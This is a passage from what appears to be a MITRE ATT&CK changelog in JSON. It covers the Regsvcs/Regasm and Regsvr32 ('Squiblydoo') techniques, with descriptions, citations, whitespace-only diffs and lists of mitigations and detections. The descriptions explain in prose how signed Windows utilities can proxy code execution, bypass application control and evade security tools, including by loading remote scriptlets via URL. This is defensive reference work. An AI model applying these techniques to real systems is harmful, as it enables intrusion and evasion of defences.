                    "id": "attack-pattern--c48a67ee-b657-45c1-91bf-6cdbe27205f8",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2020-01-23 19:42:16.439000+00:00",
                    "modified": "2026-11-04 00:44:27.488000+00:00",
                    "name": "Regsvcs/Regasm",
                    "description": "Adversaries may abuse Regsvcs and Regasm to proxy execution of code through a trusted Windows utility. Regsvcs and Regasm are Windows command-line utilities that are used to register .NET [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM) assemblies. Both are binaries that may be digitally signed by Microsoft.(Citation: MSDN Regsvcs)(Citation: MSDN Regasm)\n\nBoth utilities may be used to bypass application control through use of attributes within the binary to specify code that should be run before registration or unregistration: <code>[ComRegisterFunction]</code> or <code>[ComUnregisterFunction]</code> respectively. The code with the registration and unregistration attributes will be executed even if the process is run under insufficient privileges and fails to execute.(Citation: LOLBAS Regsvcs)(Citation: LOLBAS Regasm)",
                    "kill_chain_phases": [
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "stealth"
                        }
                    ],
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/techniques/T1218/009",
                            "external_id": "T1218.009"
                        },
                        {
                            "source_name": "LOLBAS Regasm",
                            "description": "LOLBAS. (n.d.). Regasm.exe. Retrieved July 31, 2019.",
                            "url": "https://lolbas-project.github.io/lolbas/Binaries/Regasm/"
                        },
                        {
                            "source_name": "LOLBAS Regsvcs",
                            "description": "LOLBAS. (n.d.). Regsvcs.exe. Retrieved July 31, 2019.",
                            "url": "https://lolbas-project.github.io/lolbas/Binaries/Regsvcs/"
                        },
                        {
                            "source_name": "MSDN Regasm",
                            "description": "Microsoft. (n.d.). Regasm.exe (Assembly Registration Tool). Retrieved July 1, 2016.",
                            "url": "https://msdn.microsoft.com/en-us/library/tzat5yw6.aspx"
                        },
                        {
                            "source_name": "MSDN Regsvcs",
                            "description": "Microsoft. (n.d.). Regsvcs.exe (.NET Services Installation Tool). Retrieved July 1, 2016.",
                            "url": "https://msdn.microsoft.com/en-us/library/04za0hca.aspx"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_contributors": [
                        "Casey Smith"
                    ],
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "enterprise-attack"
                    ],
                    "x_mitre_is_subtechnique": true,
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_platforms": [
                        "Windows"
                    ],
                    "x_mitre_version": "3.0",
                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-04 00:44:27.488000+00:00\", \"old_value\": \"2026-05-12 15:12:00.714000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may abuse Regsvcs and Regasm to proxy execution of code through a trusted Windows utility. Regsvcs and Regasm are Windows command-line utilities that are used to register .NET [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM) assemblies. Both are binaries that may be digitally signed by Microsoft.(Citation: MSDN Regsvcs)(Citation: MSDN Regasm)\\n\\nBoth utilities may be used to bypass application control through use of attributes within the binary to specify code that should be run before registration or unregistration: <code>[ComRegisterFunction]</code> or <code>[ComUnregisterFunction]</code> respectively. The code with the registration and unregistration attributes will be executed even if the process is run under insufficient privileges and fails to execute.(Citation: LOLBAS Regsvcs)(Citation: LOLBAS Regasm)\", \"old_value\": \"Adversaries may abuse Regsvcs and Regasm to proxy execution of code through a trusted Windows utility. Regsvcs and Regasm are Windows command-line utilities that are used to register .NET [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM) assemblies. Both are binaries that may be digitally signed by Microsoft. (Citation: MSDN Regsvcs) (Citation: MSDN Regasm)\\n\\nBoth utilities may be used to bypass application control through use of attributes within the binary to specify code that should be run before registration or unregistration: <code>[ComRegisterFunction]</code> or <code>[ComUnregisterFunction]</code> respectively. The code with the registration and unregistration attributes will be executed even if the process is run under insufficient privileges and fails to execute. (Citation: LOLBAS Regsvcs)(Citation: LOLBAS Regasm)\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +1,3 @@\\n-Adversaries may abuse Regsvcs and Regasm to proxy execution of code through a trusted Windows utility. Regsvcs and Regasm are Windows command-line utilities that are used to register .NET [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM) assemblies. Both are binaries that may be digitally signed by Microsoft. (Citation: MSDN Regsvcs) (Citation: MSDN Regasm)\\n+Adversaries may abuse Regsvcs and Regasm to proxy execution of code through a trusted Windows utility. Regsvcs and Regasm are Windows command-line utilities that are used to register .NET [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM) assemblies. Both are binaries that may be digitally signed by Microsoft.(Citation: MSDN Regsvcs)(Citation: MSDN Regasm)\\n \\n-Both utilities may be used to bypass application control through use of attributes within the binary to specify code that should be run before registration or unregistration: <code>[ComRegisterFunction]</code> or <code>[ComUnregisterFunction]</code> respectively. The code with the registration and unregistration attributes will be executed even if the process is run under insufficient privileges and fails to execute. (Citation: LOLBAS Regsvcs)(Citation: LOLBAS Regasm)\\n+Both utilities may be used to bypass application control through use of attributes within the binary to specify code that should be run before registration or unregistration: <code>[ComRegisterFunction]</code> or <code>[ComUnregisterFunction]</code> respectively. The code with the registration and unregistration attributes will be executed even if the process is run under insufficient privileges and fails to execute.(Citation: LOLBAS Regsvcs)(Citation: LOLBAS Regasm)\"}}}",
                    "previous_version": "3.0",
                    "description_change_table": "\n    <table class=\"diff\" id=\"difflib_chg_to116__top\"\n           cellspacing=\"0\" cellpadding=\"0\" rules=\"groups\" >\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <thead><tr><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">Old Description</th><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">New Description</th></tr></thead>\n        <tbody>\n            <tr><td class=\"diff_next\" id=\"difflib_chg_to116__0\"><a href=\"#difflib_chg_to116__top\">t</a></td><td class=\"diff_header\" id=\"from116_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;abuse&nbsp;Regsvcs&nbsp;and&nbsp;Regasm&nbsp;to&nbsp;proxy&nbsp;execution&nbsp;</td><td class=\"diff_next\"><a href=\"#difflib_chg_to116__top\">t</a></td><td class=\"diff_header\" id=\"to116_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;abuse&nbsp;Regsvcs&nbsp;and&nbsp;Regasm&nbsp;to&nbsp;proxy&nbsp;execution&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">of&nbsp;code&nbsp;through&nbsp;a&nbsp;trusted&nbsp;Windows&nbsp;utility.&nbsp;Regsvcs&nbsp;and&nbsp;Regas</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">of&nbsp;code&nbsp;through&nbsp;a&nbsp;trusted&nbsp;Windows&nbsp;utility.&nbsp;Regsvcs&nbsp;and&nbsp;Regas</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">m&nbsp;are&nbsp;Windows&nbsp;command-line&nbsp;utilities&nbsp;that&nbsp;are&nbsp;used&nbsp;to&nbsp;regist</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">m&nbsp;are&nbsp;Windows&nbsp;command-line&nbsp;utilities&nbsp;that&nbsp;are&nbsp;used&nbsp;to&nbsp;regist</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">er&nbsp;.NET&nbsp;[Component&nbsp;Object&nbsp;Model](https://attack.mitre.org/te</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">er&nbsp;.NET&nbsp;[Component&nbsp;Object&nbsp;Model](https://attack.mitre.org/te</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">chniques/T1559/001)&nbsp;(COM)&nbsp;assemblies.&nbsp;Both&nbsp;are&nbsp;binaries&nbsp;that</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">chniques/T1559/001)&nbsp;(COM)&nbsp;assemblies.&nbsp;Both&nbsp;are&nbsp;binaries&nbsp;that</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;may&nbsp;be&nbsp;digitally&nbsp;signed&nbsp;by&nbsp;Microsoft.<span class=\"diff_sub\">&nbsp;</span>(Citation:&nbsp;MSDN&nbsp;Regsv</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;may&nbsp;be&nbsp;digitally&nbsp;signed&nbsp;by&nbsp;Microsoft.(Citation:&nbsp;MSDN&nbsp;Regsvc</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">cs)<span class=\"diff_sub\">&nbsp;</span>(Citation:&nbsp;MSDN&nbsp;Regasm)&nbsp;&nbsp;Both&nbsp;utilities&nbsp;may&nbsp;be&nbsp;used&nbsp;to&nbsp;b</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s)(Citation:&nbsp;MSDN&nbsp;Regasm)&nbsp;&nbsp;Both&nbsp;utilities&nbsp;may&nbsp;be&nbsp;used&nbsp;to&nbsp;byp</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ypass&nbsp;application&nbsp;control&nbsp;through&nbsp;use&nbsp;of&nbsp;attributes&nbsp;within&nbsp;t</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ass&nbsp;application&nbsp;control&nbsp;through&nbsp;use&nbsp;of&nbsp;attributes&nbsp;within&nbsp;the</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">he&nbsp;binary&nbsp;to&nbsp;specify&nbsp;code&nbsp;that&nbsp;should&nbsp;be&nbsp;run&nbsp;before&nbsp;registra</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;binary&nbsp;to&nbsp;specify&nbsp;code&nbsp;that&nbsp;should&nbsp;be&nbsp;run&nbsp;before&nbsp;registrati</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tion&nbsp;or&nbsp;unregistration:&nbsp;&lt;code&gt;[ComRegisterFunction]&lt;/code&gt;&nbsp;o</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">on&nbsp;or&nbsp;unregistration:&nbsp;&lt;code&gt;[ComRegisterFunction]&lt;/code&gt;&nbsp;or&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">r&nbsp;&lt;code&gt;[ComUnregisterFunction]&lt;/code&gt;&nbsp;respectively.&nbsp;The&nbsp;cod</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&lt;code&gt;[ComUnregisterFunction]&lt;/code&gt;&nbsp;respectively.&nbsp;The&nbsp;code&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&nbsp;with&nbsp;the&nbsp;registration&nbsp;and&nbsp;unregistration&nbsp;attributes&nbsp;will&nbsp;b</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">with&nbsp;the&nbsp;registration&nbsp;and&nbsp;unregistration&nbsp;attributes&nbsp;will&nbsp;be&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&nbsp;executed&nbsp;even&nbsp;if&nbsp;the&nbsp;process&nbsp;is&nbsp;run&nbsp;under&nbsp;insufficient&nbsp;pri</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">executed&nbsp;even&nbsp;if&nbsp;the&nbsp;process&nbsp;is&nbsp;run&nbsp;under&nbsp;insufficient&nbsp;privi</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">vileges&nbsp;and&nbsp;fails&nbsp;to&nbsp;execute.<span class=\"diff_sub\">&nbsp;</span>(Citation:&nbsp;LOLBAS&nbsp;Regsvcs)(Cit</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">leges&nbsp;and&nbsp;fails&nbsp;to&nbsp;execute.(Citation:&nbsp;LOLBAS&nbsp;Regsvcs)(Citati</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ation:&nbsp;LOLBAS&nbsp;Regasm)</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">on:&nbsp;LOLBAS&nbsp;Regasm)</td></tr>\n        </tbody>\n    </table>",
                    "changelog_mitigations": {
                        "shared": [
                            "M1038: Execution Prevention",
                            "M1042: Disable or Remove Feature or Program"
                        ],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_datacomponent_detections": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_detectionstrategy_detections": {
                        "shared": [
                            "DET0361: Detecting .NET COM Registration Abuse via Regsvcs/Regasm"
                        ],
                        "new": [],
                        "dropped": []
                    }
                },
                {
                    "type": "attack-pattern",
                    "id": "attack-pattern--b97f1d35-4249-4486-a6b5-ee60ccf24fab",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2020-01-23 19:52:17.414000+00:00",
                    "modified": "2026-11-04 00:45:16.848000+00:00",
                    "name": "Regsvr32",
                    "description": "Adversaries may abuse Regsvr32.exe to proxy execution of malicious code. Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. The Regsvr32.exe binary may also be signed by Microsoft.(Citation: Microsoft Regsvr32)\n\nMalicious usage of Regsvr32.exe may avoid triggering security tools that may not monitor execution of, and modules loaded by, the regsvr32.exe process because of allowlists or false positives from Windows using regsvr32.exe for normal operations. Regsvr32.exe can also be used to specifically bypass application control using functionality to load COM scriptlets to execute DLLs under user permissions. Since Regsvr32.exe is network and proxy aware, the scripts can be loaded by passing a uniform resource locator (URL) to file on an external Web server as an argument during invocation. This method makes no changes to the Registry as the COM object is not actually registered, only executed.(Citation: LOLBAS Regsvr32) This variation of the technique is often referred to as a \"Squiblydoo\" and has been used in campaigns targeting governments.(Citation: Carbon Black Squiblydoo Apr 2016)(Citation: FireEye Regsvr32 Targeting Mongolian Gov)\n\nRegsvr32.exe can also be leveraged to register a COM Object used to establish persistence via [Component Object Model Hijacking](https://attack.mitre.org/techniques/T1546/015).(Citation: Carbon Black Squiblydoo Apr 2016)",
                    "kill_chain_phases": [
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "stealth"
                        }
                    ],
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/techniques/T1218/010",
                            "external_id": "T1218.010"
                        },
                        {
                            "source_name": "FireEye Regsvr32 Targeting Mongolian Gov",
                            "description": "Anubhav, A., Kizhakkinan, D. (2017, February 22). Spear Phishing Techniques Used in Attacks Targeting the Mongolian Government. Retrieved February 24, 2017.",
                            "url": "https://www.fireeye.com/blog/threat-research/2017/02/spear_phishing_techn.html"
                        },
                        {
                            "source_name": "LOLBAS Regsvr32",
                            "description": "LOLBAS. (n.d.). Regsvr32.exe. Retrieved July 31, 2019.",
                            "url": "https://lolbas-project.github.io/lolbas/Binaries/Regsvr32/"
                        },
                        {
                            "source_name": "Microsoft Regsvr32",
                            "description": "Microsoft. (2015, August 14). How to use the Regsvr32 tool and troubleshoot Regsvr32 error messages. Retrieved June 22, 2016.",
                            "url": "https://support.microsoft.com/en-us/kb/249873"
                        },
                        {
                            "source_name": "Carbon Black Squiblydoo Apr 2016",
                            "description": "Nolen, R. et al.. (2016, April 28). Threat Advisory: \u201cSquiblydoo\u201d Continues Trend of Attackers Using Native OS Tools to \u201cLive off the Land\u201d. Retrieved April 9, 2018.",
                            "url": "https://www.carbonblack.com/2016/04/28/threat-advisory-squiblydoo-continues-trend-of-attackers-using-native-os-tools-to-live-off-the-land/"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_contributors": [
                        "Casey Smith"
                    ],
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "enterprise-attack"
                    ],
                    "x_mitre_is_subtechnique": true,
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_platforms": [
                        "Windows"
                    ],
                    "x_mitre_version": "3.0",
                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-04 00:45:16.848000+00:00\", \"old_value\": \"2026-05-12 15:12:00.709000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may abuse Regsvr32.exe to proxy execution of malicious code. Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. The Regsvr32.exe binary may also be signed by Microsoft.(Citation: Microsoft Regsvr32)\\n\\nMalicious usage of Regsvr32.exe may avoid triggering security tools that may not monitor execution of, and modules loaded by, the regsvr32.exe process because of allowlists or false positives from Windows using regsvr32.exe for normal operations. Regsvr32.exe can also be used to specifically bypass application control using functionality to load COM scriptlets to execute DLLs under user permissions. Since Regsvr32.exe is network and proxy aware, the scripts can be loaded by passing a uniform resource locator (URL) to file on an external Web server as an argument during invocation. This method makes no changes to the Registry as the COM object is not actually registered, only executed.(Citation: LOLBAS Regsvr32) This variation of the technique is often referred to as a \\\"Squiblydoo\\\" and has been used in campaigns targeting governments.(Citation: Carbon Black Squiblydoo Apr 2016)(Citation: FireEye Regsvr32 Targeting Mongolian Gov)\\n\\nRegsvr32.exe can also be leveraged to register a COM Object used to establish persistence via [Component Object Model Hijacking](https://attack.mitre.org/techniques/T1546/015).(Citation: Carbon Black Squiblydoo Apr 2016)\", \"old_value\": \"Adversaries may abuse Regsvr32.exe to proxy execution of malicious code. Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. The Regsvr32.exe binary may also be signed by Microsoft. (Citation: Microsoft Regsvr32)\\n\\nMalicious usage of Regsvr32.exe may avoid triggering security tools that may not monitor execution of, and modules loaded by, the regsvr32.exe process because of allowlists or false positives from Windows using regsvr32.exe for normal operations. Regsvr32.exe can also be used to specifically bypass application control using functionality to load COM scriptlets to execute DLLs under user permissions. Since Regsvr32.exe is network and proxy aware, the scripts can be loaded by passing a uniform resource locator (URL) to file on an external Web server as an argument during invocation. This method makes no changes to the Registry as the COM object is not actually registered, only executed. (Citation: LOLBAS Regsvr32) This variation of the technique is often referred to as a \\\"Squiblydoo\\\" and has been used in campaigns targeting governments. (Citation: Carbon Black Squiblydoo Apr 2016) (Citation: FireEye Regsvr32 Targeting Mongolian Gov)\\n\\nRegsvr32.exe can also be leveraged to register a COM Object used to establish persistence via [Component Object Model Hijacking](https://attack.mitre.org/techniques/T1546/015). (Citation: Carbon Black Squiblydoo Apr 2016)\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +1,5 @@\\n-Adversaries may abuse Regsvr32.exe to proxy execution of malicious code. Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. The Regsvr32.exe binary may also be signed by Microsoft. (Citation: Microsoft Regsvr32)\\n+Adversaries may abuse Regsvr32.exe to proxy execution of malicious code. Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. The Regsvr32.exe binary may also be signed by Microsoft.(Citation: Microsoft Regsvr32)\\n \\n-Malicious usage of Regsvr32.exe may avoid triggering security tools that may not monitor execution of, and modules loaded by, the regsvr32.exe process because of allowlists or false positives from Windows using regsvr32.exe for normal operations. Regsvr32.exe can also be used to specifically bypass application control using functionality to load COM scriptlets to execute DLLs under user permissions. Since Regsvr32.exe is network and proxy aware, the scripts can be loaded by passing a uniform resource locator (URL) to file on an external Web server as an argument during invocation. This method makes no changes to the Registry as the COM object is not actually registered, only executed. (Citation: LOLBAS Regsvr32) This variation of the technique is often referred to as a \\\"Squiblydoo\\\" and has been used in campaigns targeting governments. (Citation: Carbon Black Squiblydoo Apr 2016) (Citation: FireEye Regsvr32 Targeting Mongolian Gov)\\n+Malicious usage of Regsvr32.exe may avoid triggering security tools that may not monitor execution of, and modules loaded by, the regsvr32.exe process because of allowlists or false positives from Windows using regsvr32.exe for normal operations. Regsvr32.exe can also be used to specifically bypass application control using functionality to load COM scriptlets to execute DLLs under user permissions. Since Regsvr32.exe is network and proxy aware, the scripts can be loaded by passing a uniform resource locator (URL) to file on an external Web server as an argument during invocation. This method makes no changes to the Registry as the COM object is not actually registered, only executed.(Citation: LOLBAS Regsvr32) This variation of the technique is often referred to as a \\\"Squiblydoo\\\" and has been used in campaigns targeting governments.(Citation: Carbon Black Squiblydoo Apr 2016)(Citation: FireEye Regsvr32 Targeting Mongolian Gov)\\n \\n-Regsvr32.exe can also be leveraged to register a COM Object used to establish persistence via [Component Object Model Hijacking](https://attack.mitre.org/techniques/T1546/015). (Citation: Carbon Black Squiblydoo Apr 2016)\\n+Regsvr32.exe can also be leveraged to register a COM Object used to establish persistence via [Component Object Model Hijacking](https://attack.mitre.org/techniques/T1546/015).(Citation: Carbon Black Squiblydoo Apr 2016)\"}}}",
                    "previous_version": "3.0",
                    "description_change_table": "\n    <table class=\"diff\" id=\"difflib_chg_to99__top\"\n           cellspacing=\"0\" cellpadding=\"0\" rules=\"groups\" >\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <thead><tr><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">Old Description</th><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">New Description</th></tr></thead>\n        <tbody>\n            <tr><td class=\"diff_next\" id=\"difflib_chg_to99__0\"><a href=\"#difflib_chg_to99__top\">t</a></td><td class=\"diff_header\" id=\"from99_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;abuse&nbsp;Regsvr32.exe&nbsp;to&nbsp;proxy&nbsp;execution&nbsp;of&nbsp;mal</td><td class=\"diff_next\"><a href=\"#difflib_chg_to99__top\">t</a></td><td class=\"diff_header\" id=\"to99_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;abuse&nbsp;Regsvr32.exe&nbsp;to&nbsp;proxy&nbsp;execution&nbsp;of&nbsp;mal</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">icious&nbsp;code.&nbsp;Regsvr32.exe&nbsp;is&nbsp;a&nbsp;command-line&nbsp;program&nbsp;used&nbsp;to&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">icious&nbsp;code.&nbsp;Regsvr32.exe&nbsp;is&nbsp;a&nbsp;command-line&nbsp;program&nbsp;used&nbsp;to&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">register&nbsp;and&nbsp;unregister&nbsp;object&nbsp;linking&nbsp;and&nbsp;embedding&nbsp;control</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">register&nbsp;and&nbsp;unregister&nbsp;object&nbsp;linking&nbsp;and&nbsp;embedding&nbsp;control</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s,&nbsp;including&nbsp;dynamic&nbsp;link&nbsp;libraries&nbsp;(DLLs),&nbsp;on&nbsp;Windows&nbsp;syste</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s,&nbsp;including&nbsp;dynamic&nbsp;link&nbsp;libraries&nbsp;(DLLs),&nbsp;on&nbsp;Windows&nbsp;syste</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ms.&nbsp;The&nbsp;Regsvr32.exe&nbsp;binary&nbsp;may&nbsp;also&nbsp;be&nbsp;signed&nbsp;by&nbsp;Microsoft.</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ms.&nbsp;The&nbsp;Regsvr32.exe&nbsp;binary&nbsp;may&nbsp;also&nbsp;be&nbsp;signed&nbsp;by&nbsp;Microsoft.</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\"><span class=\"diff_sub\">&nbsp;</span>(Citation:&nbsp;Microsoft&nbsp;Regsvr32)&nbsp;&nbsp;Malicious&nbsp;usage&nbsp;of&nbsp;Regsvr32</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">(Citation:&nbsp;Microsoft&nbsp;Regsvr32)&nbsp;&nbsp;Malicious&nbsp;usage&nbsp;of&nbsp;Regsvr32.</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">.exe&nbsp;may&nbsp;avoid&nbsp;triggering&nbsp;security&nbsp;tools&nbsp;that&nbsp;may&nbsp;not&nbsp;monito</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">exe&nbsp;may&nbsp;avoid&nbsp;triggering&nbsp;security&nbsp;tools&nbsp;that&nbsp;may&nbsp;not&nbsp;monitor</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">r&nbsp;execution&nbsp;of,&nbsp;and&nbsp;modules&nbsp;loaded&nbsp;by,&nbsp;the&nbsp;regsvr32.exe&nbsp;proc</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;execution&nbsp;of,&nbsp;and&nbsp;modules&nbsp;loaded&nbsp;by,&nbsp;the&nbsp;regsvr32.exe&nbsp;proce</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ess&nbsp;because&nbsp;of&nbsp;allowlists&nbsp;or&nbsp;false&nbsp;positives&nbsp;from&nbsp;Windows&nbsp;us</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ss&nbsp;because&nbsp;of&nbsp;allowlists&nbsp;or&nbsp;false&nbsp;positives&nbsp;from&nbsp;Windows&nbsp;usi</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ing&nbsp;regsvr32.exe&nbsp;for&nbsp;normal&nbsp;operations.&nbsp;Regsvr32.exe&nbsp;can&nbsp;als</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ng&nbsp;regsvr32.exe&nbsp;for&nbsp;normal&nbsp;operations.&nbsp;Regsvr32.exe&nbsp;can&nbsp;also</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">o&nbsp;be&nbsp;used&nbsp;to&nbsp;specifically&nbsp;bypass&nbsp;application&nbsp;control&nbsp;using&nbsp;f</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;be&nbsp;used&nbsp;to&nbsp;specifically&nbsp;bypass&nbsp;application&nbsp;control&nbsp;using&nbsp;fu</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">unctionality&nbsp;to&nbsp;load&nbsp;COM&nbsp;scriptlets&nbsp;to&nbsp;execute&nbsp;DLLs&nbsp;under&nbsp;us</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">nctionality&nbsp;to&nbsp;load&nbsp;COM&nbsp;scriptlets&nbsp;to&nbsp;execute&nbsp;DLLs&nbsp;under&nbsp;use</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">er&nbsp;permissions.&nbsp;Since&nbsp;Regsvr32.exe&nbsp;is&nbsp;network&nbsp;and&nbsp;proxy&nbsp;awar</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">r&nbsp;permissions.&nbsp;Since&nbsp;Regsvr32.exe&nbsp;is&nbsp;network&nbsp;and&nbsp;proxy&nbsp;aware</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e,&nbsp;the&nbsp;scripts&nbsp;can&nbsp;be&nbsp;loaded&nbsp;by&nbsp;passing&nbsp;a&nbsp;uniform&nbsp;resource&nbsp;l</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">,&nbsp;the&nbsp;scripts&nbsp;can&nbsp;be&nbsp;loaded&nbsp;by&nbsp;passing&nbsp;a&nbsp;uniform&nbsp;resource&nbsp;lo</td></tr>\n            <tr><td class=\"diff_next\"></td><td 